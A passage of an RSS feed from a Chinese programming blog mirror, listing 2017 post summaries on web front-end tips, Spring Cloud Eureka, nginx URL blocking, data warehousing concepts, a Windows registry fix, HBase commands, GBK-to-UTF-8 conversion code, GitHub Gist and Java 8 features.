      <description>3月书讯中奖名单： 小棒棒《学习敏捷：构建高效团队》 镇屌的技术之路《学习敏捷:构建高效团队》 阿基米东《Scratch少儿趣味编程2》 民团司令《追踪引力波》 JOHNEW《算法图解》&#xA;中奖通知由CSDN官方发布站内消息，请关注消息通知~&#xA;好书推荐，在图灵书讯中选出你认为值得推荐的好书加自己写的推荐理由，在文末评论里回复。下期书讯更新时，会在本期的书讯评论中选出若干优秀评论，获奖者可任选图灵书讯中的图书一本。 本月新书11本，有一套数学经典科普书，一套东京大学访谈集，3本前端开发，1本iOS性能优化，1本Docker，还有1本Unity畅销书升级。&#xA;特别推荐：数学万花筒套装Angular权威教程高性能iOS应用开发Meteor实战客户端存储技术【有电子版】Docker开发指南【有电子版】Unity游戏设计与实现：南梦宫一线程序员的开发实例（修订版）如何思考：东京大学思维素养访谈集设计思维：东京大学思维素养访谈集2 0. 特别推荐：数学万花筒套装 作者：伊恩·斯图尔特 译者：张云（1）（2），何生（3） 定价：39.00元&#xA;知名数学科普作家、华威大学数学系荣退教授Ian Stewart作品 五十多年收藏精选，汇集趣味数学游戏、谜题、故事和八卦适合各种程度的数学爱好者阅读，深入培养数学学习兴趣 《数学万花筒》系列是知名数学科普作家、华威大学数学系荣退教授伊恩·斯图尔特（Ian Stewart）五十多年收藏精选，是数学科普畅销经典。《数学万花筒（修订版）》和《数学万花筒2（修订版）》 对旧版译文进行了全面整理提升。《数学万花筒3：夏尔摩斯探案集》为最新出版。&#xA;通过本书，读者可以：透彻了解数学有趣而迷人的一面，激发想像力；亲自参与到数学中，体验发现带来的兴奋；了解数学的重要发展，不管来自四千年前还是上一周。&#xA;1. Angular权威教程 ng-book 2: The Complete Book on Angular 2 作者：Ari Lerner，Felipe Coury，Nate Murray，Carlos Taborda 译者：Nice Angular社区 定价：109.00元&#xA;Angular领域里程碑式著作，资深全栈开发工程师经验汇集 雪狼带领的Nice Angular社区主力倾情翻译 GoogleAngular项目经理兼主管Naomi Black、Google开发技术推广部大中华区主管栾跃推荐阅读 《Angular权威教程》堪称Angular领域里程碑式著作，涵盖了关于Angular的几乎所有内容。&#xA;对于没有经验的人，本书平实、通俗的讲解，递进、严密的组织，可以让人毫无压力地登堂入室，迅速领悟新一代Web应用开发的精髓。&#xA;如果你有相关经验，那本书对Angular概念和技术细节的全面剖析，以及引人入胜、切中肯綮的讲解，将帮助你彻底掌握这个框架，在自己职业技术修炼之路上更进一步。&#xA;2. 高性能iOS应用开发 High Performance iOS Apps: Optimize Your Code for Better Apps 作者：Gaurav Vaish 译者：梁士兴　郝田田　陈作君 定价：89.00元&#xA;全面展示构建优异应用移动性能所需技能，Objective-C与iOS开发人员进阶必备 强调从工程学角度编写最优代码，解决常见性能问题让App飞起来的软硬件解决之道 《高性能iOS应用开发》介绍了对用户体验产生负面影响的各个方面，并概述如何优化iOS应用的性能。全书共5个部分，主要从性能的衡量标准、对应用至关重要的核心优化点、iOS应用开发特有的性能优化技术以及性能的非代码方面，讲解了应用性能的优化问题。</description>
    </item>
    <item>
      <title>Web前端Table中的tr和td按百分比设定宽度和高度，当内容超出时Table变型解决</title>
      <link>https://bchobby.github.io/posts/3cc45f0a89ee8a5713020b4cc3224a17/</link>
      <pubDate>Mon, 17 Apr 2017 11:34:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3cc45f0a89ee8a5713020b4cc3224a17/</guid>
      <description>如果table按照百分比设定宽度和高度，当表格内部任意内容超出所在元素的百分比值时就会使得表格变形。&#xA;&amp;lt;table width=&#39;80%&#39;&amp;gt;&#xA;&amp;lt;tr&amp;gt;&#xA;&amp;lt;td width=&#39;50%&#39;&amp;gt;内容超过50%&amp;lt;/td&amp;gt;&#xA;&amp;lt;/tr&amp;gt;&#xA;&amp;lt;/table&amp;gt;&#xA;当内容超过50%时，就会使Table变形。此时只需在table标签上设置style=&#39;&#39;的table-layout:fixed。&#xA;表示：固定布局的算法。在这算法中，水平布局是仅仅基于表格的宽度，表格边框的宽度，单元格间距，列的宽度，而和表格内容无关。</description>
    </item>
    <item>
      <title>spring cloud 学习笔记-Eureka</title>
      <link>https://bchobby.github.io/posts/6d5fc8fd39a3c734813a87f98ea260d5/</link>
      <pubDate>Sun, 16 Apr 2017 22:28:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d5fc8fd39a3c734813a87f98ea260d5/</guid>
      <description>最近在慢慢学习cloud的相关知识，会把碰见的一些问题记录下来。&#xA;对照学习的参考链接：【程序猿DD】Spring Cloud构建微服务架构系列，持续更新~](http://bbs.springcloud.com.cn/d/1-dd-spring-cloud)&#xA;1、在默认设置下，Eureka服务注册中心也会将自己作为客户端来尝试注册它自己，所以我们需要禁用它的客户端注册行为。&#xA;禁止方式如下：&#xA;eureka.client.register-with-eureka=false eureka.client.fetch-registry=false 如果不禁止的话，会得到如下错误：&#xA;com.sun.jersey.api.client.ClientHandlerException: java.net.ConnectException: Connection refused: connect 2017-04-16 22:16:12.943 WARN 6864 --- [ main] c.n.d.s.t.d.RetryableEurekaHttpClient : Request execution failure 2017-04-16 22:16:12.951 ERROR 6864 --- [ main] com.netflix.discovery.DiscoveryClient : DiscoveryClient_UNKNOWN/DESKTOP-MQ8D0C9:8761 - was unable to refresh its cache! status = Cannot execute request on any known server 应该是因为当注册中心将自己作为客户端注册的时候，发现在server上的端口被自己占据了，然后就挂了。&#xA;如果要开启自动注册的话，可以启动两个server，互相注册&#xA;A：eureka.client.serviceUrl.defaultZone=http://localhost:1112/eureka/&#xA;B：eureka.client.serviceUrl.defaultZone=http://localhost:1111/eureka/&#xA;2、启动服务注册中心的时候，如果没在application.properties中显示指定端口的话，我的机子上默认是8761端口，然后虽然启动没问题，但是访问local host:8761/的时候就访问不了，但是如果指定端口server.port = 8761，就一切正常了。不知道为什么，如果有人知道的话请指点一下。&#xA;3、启动两个client，过了一会，停了其中一个，访问注册中心时，界面上显示了红色粗体警告信息：&#xA;EMERGENCY! EUREKA MAY BE INCORRECTLY CLAIMING INSTANCES ARE UP WHEN THEY&#39;RE NOT.</description>
    </item>
    <item>
      <title>nginx屏蔽指定接口（URL）</title>
      <link>https://bchobby.github.io/posts/04c7ac41974e112949bca0ffa44dfba6/</link>
      <pubDate>Sat, 15 Apr 2017 18:23:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/04c7ac41974e112949bca0ffa44dfba6/</guid>
      <description>一、前言 有时候，web平台上线后，需要屏蔽某个服务接口，但又不想重新上线，可以采用nginx屏蔽指定平台接口的办法。&#xA;二、具体操作 在nginx的配置文件nginx.conf文件的server节点中，添加一个location，示例如下：&#xA;location /your url { return 403; } 这里具体以nginx自带nginx.conf为例，屏蔽根URL路径/：&#xA;屏蔽前 location / { root html; index index.html index.htm; } 访问nginx index.html页面结果如下： 屏蔽后 location / { return 403; root html; index index.html index.htm; } 访问nginx index.html页面结果如下： 修改完nginx.conf配置文件后，不用重启nginx，执行命令nginx -s reload重新加载配置文件，修改的规则即可生效。</description>
    </item>
    <item>
      <title>CSDN 强制用户绑定手机号码</title>
      <link>https://bchobby.github.io/posts/c1a78a982b2491453b7753690739c169/</link>
      <pubDate>Thu, 13 Apr 2017 18:30:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c1a78a982b2491453b7753690739c169/</guid>
      <description>只想说一句，已经沦落到这种地步吗</description>
    </item>
    <item>
      <title>浅析数据库(DB)、操作数据存储(ODS)和数据仓库(DW)的区别与联系</title>
      <link>https://bchobby.github.io/posts/bff8ed5054ca10a13145f95181b69a1a/</link>
      <pubDate>Thu, 13 Apr 2017 11:50:23 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/bff8ed5054ca10a13145f95181b69a1a/</guid>
      <description>文章背景： 相信大部分刚接触上面三个概念的同学，都多多少少会有些迷惑，现在我就给大家简单分析下这三者的关系，希望大家对这三者的概念理解有所帮助吧。&#xA;本文主要从下面两类关系来叙述上面三者的关系：&#xA;数据库（DB）和数据仓库（DW）的区别与联系操作数据存储（ODS）和数据仓库（DW）的区别与联系 数据库与数据仓库的区别与联系 数据库与数据仓库基础概念：&#xA;数据库：传统的关系型数据库的主要应用，主要是基本的、日常的事务处理，例如银行交易。&#xA;数据仓库：数据仓库系统的主要应用主要是OLAP（On-Line Analytical Processing），支持复杂的分析操作，侧重决策支持，并且提供直观易懂的查询结果。&#xA;OLTP和OLAP概念补充：&#xA;数据处理大致可以分成两大类：联机事务处理OLTP（on-line transaction processing）、联机分析处理OLAP（On-Line Analytical Processing）。&#xA;OLTP是传统的关系型数据库的主要应用，主要是基本的、日常的事务处理，例如银行交易。 OLAP是数据仓库系统的主要应用，支持复杂的分析操作，侧重决策支持，并且提供直观易懂的查询结果。 OLTP 系统强调数据库内存效率，强调内存各种指标的命令率，强调绑定变量，强调并发操作； OLAP 系统则强调数据分析，强调SQL执行市场，强调磁盘I/O，强调分区等。 举一个具体的例子：（转自知乎作者：陈诚），个人觉得例子描述的很清晰&#xA;举个最常见的例子，拿电商行业来说好了。&#xA;基本每家电商公司都会经历，从只需要业务数据库到要数据仓库的阶段。&#xA;第一阶段，电商早期启动非常容易，入行门槛低。找个外包团队，做了一个可以下单的网页前端 + 几台服务器 + 一个MySQL，就能开门迎客了。这好比手工作坊时期。&#xA;第二阶段，流量来了，客户和订单都多起来了，普通查询已经有压力了，这个时候就需要升级架构变成多台服务器和多个业务数据库（量大+分库分表），这个阶段的业务数字和指标还可以勉强从业务数据库里查询。初步进入工业化。&#xA;第三阶段，一般需要 3-5 年左右的时间，随着业务指数级的增长，数据量的会陡增，公司角色也开始多了起来，开始有了 CEO、CMO、CIO，大家需要面临的问题越来越复杂，越来越深入。高管们关心的问题，从最初非常粗放的：“昨天的收入是多少”、“上个月的 PV、UV 是多少”，逐渐演化到非常精细化和具体的用户的集群分析，特定用户在某种使用场景中，例如“20~30岁女性用户在过去五年的第一季度化妆品类商品的购买行为与公司进行的促销活动方案之间的关系”。&#xA;这类非常具体，且能够对公司决策起到关键性作用的问题，基本很难从业务数据库从调取出来。原因在于：&#xA;业务数据库中的数据结构是为了完成交易而设计的，不是为了而查询和分析的便利设计的。业务数据库大多是读写优化的，即又要读（查看商品信息），也要写（产生订单，完成支付）。因此对于大量数据的读（查询指标，一般是复杂的只读类型查询）是支持不足的。 而怎么解决这个问题，此时我们就需要建立一个数据仓库了，公司也算开始进入信息化阶段了。数据仓库的作用在于：&#xA;数据结构为了分析和查询的便利；只读优化的数据库，即不需要它写入速度多么快，只要做大量数据的复杂查询的速度足够快就行了。 那么在这里前一种业务数据库（读写都优化）的是业务性数据库，后一种是分析性数据库，即数据仓库。&#xA;常见产品：&#xA;数据库比较流行的有：MySQL,Oracle,SqlServer,DB2等&#xA;数据仓库比较流行的有：AWS Redshift,Greenplum,Hive等&#xA;操作数据存储与数据仓库的区别与联系 基础概念：（抓住重点：DW是反映历史变化，ODS是反映当前变化）&#xA;数据仓库(Data Warehouse)：是一个面向主题的（Subject Oriented）、集成的（Integrated）、相对稳定的（Non-Volatile）、反映历史变化（Time Variant）的数据集合，用于支持管理决策(Decision Making Support)。&#xA;时效：T+1&#xA;操作数据存储(ODS)：是一个面向主题的、集成的、可变的、当前的细节数据集合，用于支持企业对于即时性的、操作性的、集成的全体信息的需求。&#xA;ODS是数据仓库体系结构中的一个可选部分，是DB与DW之间的中间层，ODS具备数据仓库的部分特征和OLTP系统的部分特征。&#xA;时效：实时&#xA;ODS概念的由来&#xA;ODS存储了运营系统(如OLTP(联机事务处理)系统)近实时的详细数据。ODS的概念最早是由“数据仓库之父”——Bill Inmon提出的。ODS最初引入是为了寻找能满足快速加载和数据整合的性能要求，并且减少面向分析需求的变更和扩充对生产系统影响的解决方案，这一解决方案便是在生产系统和EDW之间增加一个数据整合层(也叫做数据缓冲层)即ODS。具有数据整合层的作用，是提出ODS概念的主要出发点。随着技术的发展，近年来ODS被赋予的功能和作用也得到了延伸，目前业界普遍认同的观点是：ODS为企业原始运营数据存储提供了一个整合平台，它的信息来自于不同的运营型应用系统。通过数据接口,在数据整合业务规则作用下,进入ODS的信息是可靠的、可信的。&#xA;ODS的工作过程&#xA;生产系统中的运营数据通过ETL（抽取、转换、装载）过程进人到ODS中，生产系统之间准实时的数据交换由ODS系统完成，ODS系统同时还将整合好的生产系统下的运营数据通过ETL等方式传送到EDW中，完成运营数据从操作环境进人到分析环境的过程。&#xA;ODS是EDW的一个有益的补充和扩展。&#xA;两者相同点：&#xA;ODS与EDW都是企业数据架构中的独立系统，两个系统都不是直接产生运营数据的系统，两个系统中的数据都是由操作环境的数据经过抽取、转换、加载(ETL)的过程而来，还要进行进一步的清理、整合等工作(EDW的数据可由ODS加载装入)。&#xA;ODS与EDW一样都既有细粒度的数据。也有根据不同维度汇总的汇总数据。&#xA;ODS与EDW上均提供基于跨系统整合后数据的报表类应用。&#xA;两者不同之处：（主要从10个方面来叙述）</description>
    </item>
    <item>
      <title>CSDN要求必须绑定手机号</title>
      <link>https://bchobby.github.io/posts/39be4df1b81149a69596a433e8d881c8/</link>
      <pubDate>Wed, 12 Apr 2017 21:10:02 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/39be4df1b81149a69596a433e8d881c8/</guid>
      <description>以下均为个人见解，说错了，就是故意的&#xA;首先，绑定手机号也可以，但至少要提前通知一下嘛&#xA;提前一个月，至少提前一个星期通知用户，需要绑定手机号&#xA;或者至少发封邮件来提醒&#xA;结果，今天突然就来了个必须绑定手机号&#xA;否则无法登陆，无法查看编辑自己的博客&#xA;这未免有点唐突了吧。。。&#xA;其实，博客就是给人清晰明了的地方&#xA;越简明越清晰，越会有人来这里&#xA;我想很多人都喜欢直接、简明、一目了然&#xA;拿来即用的理念是吸引人的，也是给人已方便&#xA;不要等到人家来到这住上一阵子，然后开始谈规矩&#xA;而且规矩中总是会道出各种不想让人停留了&#xA;说回现实，任何产品，都是需要客流量&#xA;用户越多，产品越有价值，越有价值，就要更好的满足更多客户需求&#xA;不能价值产生了，体验扔走了&#xA;总会有人有意见，就像我。。。&#xA;为啥现在都要这样搞&#xA;百思不得解&#xA;另外，我确实没找到解绑手机的地方，不知道你们找到没有</description>
    </item>
    <item>
      <title>鼠标右键没有新建按钮怎么办</title>
      <link>https://bchobby.github.io/posts/6ff4bfaffea761750cb36c91ee9996c5/</link>
      <pubDate>Sun, 09 Apr 2017 20:18:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6ff4bfaffea761750cb36c91ee9996c5/</guid>
      <description>电脑鼠标右键菜单中没有新建怎么办？ 我们的电脑鼠标右键一般都有新建功能，但有时或因为清理多余的右键或其他原因使新建功能消失，鼠标右键没有了新建有时候有些麻烦，所以右键的新建是必备的。&#xA;现在我我在我的电脑桌面进行演示来介绍两种方法来恢复鼠标右键菜单新建。（方法仅供参考，如果你有其他方法，可以联系我，我给予补充）&#xA;工具/原料 电脑&#xA;鼠标&#xA;方法一 1 点击“开始”菜单，“记事本”，或“所有程序”—&amp;gt;“附件”—&amp;gt;“记事本”。&#xA;2 在记事本中输入以下代码。（支持者有条件可以试试哈）&#xA;Windows Registry Editor Version 5.00&#xA;[HKEY_CLASSES_ROOT\Directory\Background\shellex\ContextMenuHandlers\New]&#xA;@=&#34;{D969A300-E7FF-11d0-A93B-00A0C90F2719}&#34;&#xA;3 然后点击右上角的“╳”的关闭图标，在弹出的有关是否保存的窗口选择“保存”，然后选择保存位置（我这里选择桌面），文件名填“右键没有新建的解决方法.reg”，文件类型选择“所有文件”，点击“保存”。这时桌面就有我们刚才建的文件&#xA;4 这时桌面就有我们刚才建的reg注册表文件，双击，期间会出现警告提示，点击”是“允许导入。&#xA;5 如果你的电脑安装有360之类的安全卫士，会出现如下的提醒，选择“允许操作”，之后会弹出已成功添加的窗口，点击确定即可。&#xA;6 我们来看看结果，如图，有了“新建”。&#xA;原文地址：http://jingyan.baidu.com/article/fec4bce220cd6ef2608d8b4e.html&#xA;转载于:https://www.cnblogs.com/sunxiaolongblog/p/6686188.html</description>
    </item>
    <item>
      <title>HBASE 常用shell命令，增删改查</title>
      <link>https://bchobby.github.io/posts/568d7a23ef94b39b92a21b986afc967c/</link>
      <pubDate>Sun, 09 Apr 2017 14:04:51 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/568d7a23ef94b39b92a21b986afc967c/</guid>
      <description>首先给出本次操作的数据 create &#39;student&#39;,&#39;info&#39;,&#39;address&#39; put &#39;student&#39;,&#39;1&#39;,&#39;info:age&#39;,&#39;20&#39; put &#39;student&#39;,&#39;1&#39;,&#39;info:name&#39;,&#39;wang&#39; put &#39;student&#39;,&#39;1&#39;,&#39;info:class&#39;,&#39;1&#39; put &#39;student&#39;,&#39;1&#39;,&#39;address:city&#39;,&#39;zhengzhou&#39; put &#39;student&#39;,&#39;1&#39;,&#39;address:area&#39;,&#39;High-tech zone&#39; put &#39;student&#39;,&#39;2&#39;,&#39;info:age&#39;,&#39;21&#39; put &#39;student&#39;,&#39;2&#39;,&#39;info:name&#39;,&#39;yang&#39; put &#39;student&#39;,&#39;2&#39;,&#39;info:class&#39;,&#39;1&#39; put &#39;student&#39;,&#39;2&#39;,&#39;address:city&#39;,&#39;beijing&#39; put &#39;student&#39;,&#39;2&#39;,&#39;address:area&#39;,&#39;CBD&#39; put &#39;student&#39;,&#39;3&#39;,&#39;info:age&#39;,&#39;22&#39; put &#39;student&#39;,&#39;3&#39;,&#39;info:name&#39;,&#39;zhao&#39; put &#39;student&#39;,&#39;3&#39;,&#39;info:class&#39;,&#39;2&#39; put &#39;student&#39;,&#39;3&#39;,&#39;address:city&#39;,&#39;shanghai&#39; put &#39;student&#39;,&#39;3&#39;,&#39;address:area&#39;,&#39;pudong&#39; scan &#39;student&#39; 2.首先执行，创建表，增加数据操作，执行脚本 /bin/hbase shell ./student.txt,然后查看内容 scan ‘student’&#xA;hbase(main):001:0&amp;gt; scan &#39;student&#39; ROW COLUMN+CELL 1 column=address:area, timestamp=1491533426260, value=High-tech zone 1 column=address:city, timestamp=1491533426239, value=zhengzhou 1 column=info:age, timestamp=1491533426179, value=20 1 column=info:class, timestamp=1491533426218, value=1 1 column=info:name, timestamp=1491533426211, value=wang 2 column=address:area, timestamp=1491533426297, value=CBD 2 column=address:city, timestamp=1491533426292, value=beijing 2 column=info:age, timestamp=1491533426269, value=21 2 column=info:class, timestamp=1491533426287, value=1 2 column=info:name, timestamp=1491533426277, value=yang 3 column=address:area, timestamp=1491533426329, value=pudong 3 column=address:city, timestamp=1491533426323, value=shanghai 3 column=info:age, timestamp=1491533426305, value=22 3 column=info:class, timestamp=1491533426317, value=2 3 column=info:name, timestamp=1491533426311, value=zhao 3 row(s) in 0.</description>
    </item>
    <item>
      <title>vs中输入输出流重定向到文件</title>
      <link>https://bchobby.github.io/posts/70168e96a7f653bf697d08bdaf901e11/</link>
      <pubDate>Thu, 06 Apr 2017 21:01:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/70168e96a7f653bf697d08bdaf901e11/</guid>
      <description>在vs中，有的时候我们在输入的时候需要输入很多东西，然后输出结果后，发现出现问题了，之后调试又得输入大量的东西，这是很让人头疼的事情，为此我们可以将输入重定向到文件中，将我们需要的输入存储到一个文件中，在运行vs时会自动读取文件里的东西取代dos窗口的输入，这样就为我们省去了很多的麻烦。&#xA;下面看一具体的过程（很简单的过程）：&#xA;在vs的窗口中，点击项目-》属性，如下图所示：&#xA;点击属性后，在命令参数中填写“&amp;lt;data.txt”,注意，其中“&amp;lt;”是不可变的，后面的data.txt是文件名，存放输入的数据。&#xA;在点击确定后，然后运行相应的程序，便可以成功从文件中读取数据了。&#xA;对于将cmd窗口中的输出数据重定向到文件也是一样的道理，只需要将命令参数修改为“&amp;gt;data.txt”，如下图：&#xA;好了，这是一个使用的小技巧，就讲到这里了。</description>
    </item>
    <item>
      <title>使用gparted修改ubuntu分区大小</title>
      <link>https://bchobby.github.io/posts/0683876df6f17cd07566b59f5c05c7be/</link>
      <pubDate>Thu, 06 Apr 2017 17:58:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0683876df6f17cd07566b59f5c05c7be/</guid>
      <description>环境：ubuntu14.04 LTS&#xA;起初安装系统时只给 / (根目录)分配了10G空间，结果因为装了一大堆相关库、软件。根目录只剩下90M左右。。&#xA;然后上网查增加分区的方法，发现gparted这个软件。&#xA;等打开软件之后才发现，这几个分区前面都有一把钥匙。。。根本无法修改&#xA;于是我尝试用U盘启动系统，再使用这个软件，发现没有钥匙了。&#xA;这样就可以增加根目录的容量了。&#xA;分区的方式见这篇文章：http://worldant.blog.sohu.com/100113405.html&#xA;“ 首先需要注意的一点是：gparted中对一个分区的操作，只能影响到最邻近的两个其他分区，也只有邻近的这两个分区能影响到该分区。即，如果一个分区划出一小块出来，成了空闲区，那么该空闲区生成后肯定临着该分区。自然，如果一个分区要扩大，就必须保证这个分区的上下两个区有一个是空间的，未分配的。只有这样才可以对该分区进行扩容调整！在gparted中，一个分区要扩大，需要的前后空闲区的大小至少有一个不为0。”&#xA;因为我的电脑与根目录相邻的分区正好有多余的容量，所以直接分出一部分给了根目录。&#xA;如果相邻的分区没有多余容量，就需要像上面那篇文章说的，将多余的容量依次移动到相邻分区。</description>
    </item>
    <item>
      <title>解决中文字符乱码问题，如何将gbk格式转换utf-8格式</title>
      <link>https://bchobby.github.io/posts/e62a5e5554ae58ae07023feb8050452c/</link>
      <pubDate>Thu, 06 Apr 2017 10:14:43 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e62a5e5554ae58ae07023feb8050452c/</guid>
      <description>中文乱码的原因是因为编码格式是gbk的，而显示的时候是utf-8格式的，所以需要将其utf-8格式，才能正常显示出来。&#xA;1.gbk生成utf8程序需要经过两次转化。&#xA;1.gbk-&amp;gt;unicode&#xA;2.unicode-&amp;gt;utf8&#xA;2.gbkuni30_gen.h是gbk转化的unicode的数组，只有unicode部分，通过另一个文件程序可生成。gbk是索引（此文件可在我的下载资源中找到）&#xA;源码如下：&#xA;#include &#34;gbkuni30_gen.h&#34;&#xA;int gbk_to_unicode(unsigned short int* unicode, const char* gbk, int len)&#xA;{&#xA;int i,j;&#xA;i = 0;&#xA;unsigned char* gb_temp = (unsigned char *)gbk;&#xA;for(j = 0; i &amp;lt; len; j++)&#xA;{&#xA;if (gb_temp[i] &amp;lt;= 0x80)&#xA;{&#xA;unicode[j] = gb_temp[i];&#xA;i++;&#xA;}&#xA;else&#xA;{&#xA;unsigned short int temp;&#xA;temp = (gb_temp[i] &amp;lt;&amp;lt; 8) + gb_temp[i+1];&#xA;unicode[j] = gbkuni30[temp];&#xA;i += 2;&#xA;}</description>
    </item>
    <item>
      <title>GitHub Gist 指南</title>
      <link>https://bchobby.github.io/posts/0f8609c00a6da05d1b3886af91353ae1/</link>
      <pubDate>Fri, 31 Mar 2017 18:04:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0f8609c00a6da05d1b3886af91353ae1/</guid>
      <description>Github作为代码分享平台在开发者中非常流行。此平台托管了包括游戏、书籍以至于字体在内的一千两百多万个项目（现在更多），这使其成为互联网上最大的代码库。&#xA;Github还提供另一个非常有用的功能，就是Gist。开发人员常常使用Gist记录他们的代码片段，但是Gist不仅仅是为极客和码农开发的，每个人都可以用到它。如果您听说过类似Pastebin或者 Pastie这样的web应用的话，那您就可以看到它们和Gist很像，但是Gist比它们要更优雅。因为这些免费应用一般含有广告，而且带有很多其他杂 七杂八的功能。&#xA;Gist – 任何人都能用得着&#xA;如果您不是极客您可以按照如下方式使用Gist：&#xA;1. 匿名张贴&#xA;您不需要拥有Github账号就可以使用Gist。用浏览器打开http://gist.github.com，在窗口中写下你想说的就可以创建一个Gist。您可以发布一个私密的Gist，也就是说这个Gist将不能被他人搜索到而只对直接在浏览器中输入其URL的人可见。&#xA;2. 能像wiki一样记录历史&#xA;如果您修改了已经发布了的Gist的话，之前的所有版本都将被保存。您可以点击Revisions按钮按时间浏览，而且您可以通过内置的diff引擎查看任意两个版本间的差异。 这也可以用于比较文本文件。&#xA;3. 发布富文本内容&#xA;虽然Gist只能用纯文本来写，但是您可以用markdown来发布html格式的Gist。您可以添加列表、图片（已有图床上的）和表格。当您用markdown的时候不要忘了文件名要以.md为后缀。&#xA;4. 把Gist当作一个写作平台&#xA;虽然现在有很多写作引擎，比如Blogger、Medium、Tumblr，但您还可以用Gist来快速发布您的作品。您可以用纯文本或者markdown等文档标记语言些一个Gist然后用http://roughdraft.io来把它作为一个独立的网页发布。&#xA;5. 托管gist上的单个页面&#xA;Bl.ocks 是一个非常有趣的专为Gist开发的应用。&#xA;您可以用纯文本把HTML、CSS、JavaScript代码写下来以index.html为文件名保存为Gist，然后用http://bl.ocks.org把渲染好的结果在浏览器中展示出来。比如，这个gist展示出来就是这样。&#xA;显然宽带限制是一个问题，但是http://bl.ock.org作为一个通过Gist托管HTML的工具仍然是相当不错的。 当然您也可以用Google Drive。&#xA;6. 制作任务列表&#xA;您可以用Gist跟踪待处理任务（举个栗子）。这是用纯文本的特殊语法写的但是你可以任意勾选。&#xA;- [x] Pick the flowers&#xA;- [ ] Call John 9303032332&#xA;- [x] Cancel cable subscription&#xA;- [ ] Book the flight tickets&#xA;您可以勾选或者勾去任意选项，源文本将会自动变更。如果您的Gist是公有的的话，任何人都可以看到您的列表，但是只有您（拥有者）可以改变其勾选状态。&#xA;备注：其实任务列表也可以在issue中建立，所有拥有写权限的人都可以uncheck/check。&#xA;7. 把Gist作为一个网页收藏夹&#xA;在Chrome浏览器您可以找到一个叫GistBox的插件，通过这个插件您可以在浏览网页时选择保存网页内容为Gist。您甚至可以添加标注或者话题标签以易于以后更容易找到它们。&#xA;8. 把Gist嵌入网页中&#xA;您用一行js代码就可以把任何一条Gist嵌入到网页中。嵌入的Gist格式不发生任何变化，而且访问者可以非常方便的把它们fork到他们的Github中。要嵌入wordpress的话有这个插件和这个短代码可以使用。&#xA;9. 测量访问量&#xA;您可以使用Google Analytics查看您的Gist的访问量。因为Gist纯文本中不允许运行js代码，所以我们可以用GA Beacon来记录实时访问Gist的情况。&#xA;把如下代码添加到Gist中，用markdown格式保存，这样就在这个Gist中添加了一个透明追踪图像了。</description>
    </item>
    <item>
      <title>JAVA8 十大新特性详解</title>
      <link>https://bchobby.github.io/posts/447d7a5d10ac335bdecc9e6fc38edd63/</link>
      <pubDate>Thu, 30 Mar 2017 22:14:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/447d7a5d10ac335bdecc9e6fc38edd63/</guid>
      <description>一、接口的默认方法 在接口中新增了default方法和static方法，这两种方法可以有方法体 1、static方法 示例代码：&#xA;public interface DefalutTest { static int a =5; default void defaultMethod(){ System.out.println(&#34;DefalutTest defalut 方法&#34;); } int sub(int a,int b); static void staticMethod() { System.out.println(&#34;DefalutTest static 方法&#34;); } } 接口里的静态方法，即static修饰的有方法体的方法不会被继承或者实现，但是静态变量会被继承 例如：我们添加一个接口DefalutTest的实现类DefaultTestImpl&#xA;public class DefaultTestImpl implements DefalutTest{ @Override public int sub(int a, int b) { // TODO Auto-generated method stub return a-b; } } 如下图所示是这个实现类中所有可调用的方法： 在这些方法里面我们无法找到staticMethod方法，则说明接口中的static方法不能被它的实现类直接使用。但是我们看到了defaultMethod，说明实现类可以直接调用接口中的default方法； 那么如何使用接口中的static方法呢？？？ 接口.static方法调用，如：DefalutTest.staticMethod();&#xA;public static void main(String[] args) { DefaultTestImpl dtl = new DefaultTestImpl(); DefalutTest.</description>
    </item>
    <item>
      <title>StrictMode.setThreadPolicy  StrictMode.setVmPolicy</title>
      <link>https://bchobby.github.io/posts/8003b6d19019df72263097f3ff31c32c/</link>
      <pubDate>Thu, 30 Mar 2017 21:51:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8003b6d19019df72263097f3ff31c32c/</guid>
      <description>StrictMode严苛模式，检测应用是否有异常警告等。两种使用方法，如下。一个针对线程，一个针对虚拟机&#xA;1.StrictMode.setThreadPolicy(new StrictMode.ThreadPolicy.Builder().detectDiskReads().detectDiskWrites().detectNetwork().penaltyLog().build());&#xA;detectDiskReads().detectDiskWrites()检测硬盘读写，detectNetwork()检测网络。penaltyLog()将警告或者错误信息显示到logcat。&#xA;2.StrictMode.setVmPolicy(new StrictMode.VmPolicy.Builder().detectLeakedSqlLiteObjects().detectLeakedClosableObjects().penaltyLog().penaltyDeath().build());&#xA;detectLeakedSqlLiteObjects()检测数据操作对象，detectLeakedClosableObjects()检测对象关闭，penaltyLog()将警告或者错误信息显示到logcat。penaltyDeath()有警告或者错误发生，停止应用。&#xA;详细解释请看博文：http://blog.csdn.net/brokge/article/details/8543145/#comments</description>
    </item>
    <item>
      <title>优达学城自动驾驶汽车-Project 1: Finding Lane Lines 学习笔记1</title>
      <link>https://bchobby.github.io/posts/a0ee49999b6d66378c7fa2f307f4b9e6/</link>
      <pubDate>Thu, 30 Mar 2017 14:19:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a0ee49999b6d66378c7fa2f307f4b9e6/</guid>
      <description>根据像素的亮度来识别车 车道识别对于Computer vision 来说是一个相对简单的任务。原因是车道一般是白色或黄色 并且很容易和图片中其他的像素区别开来。 在RGB 三信道 的图片中， 白色有很高的R, G, B 的像素值。 所以我们就可以根据这个来threshold并且把低于threshold的像素给filter out 掉。 这里用Python来做演示：&#xA;#import necessary libraries import matplotlib.pyplot as plt import matplotlib.image as mpimg import numpy as np # Read in the image image = mpimg.imread(&#39;test.jpg&#39;) # Grab the x and y size and make a copy of the image ysize = image.shape[0] xsize = image.shape[1] # Note: always make a copy rather than simply using &#34;</description>
    </item>
    <item>
      <title>Pandas 对Dataframe结构排序</title>
      <link>https://bchobby.github.io/posts/33781fae08488b6f47770f277013b13b/</link>
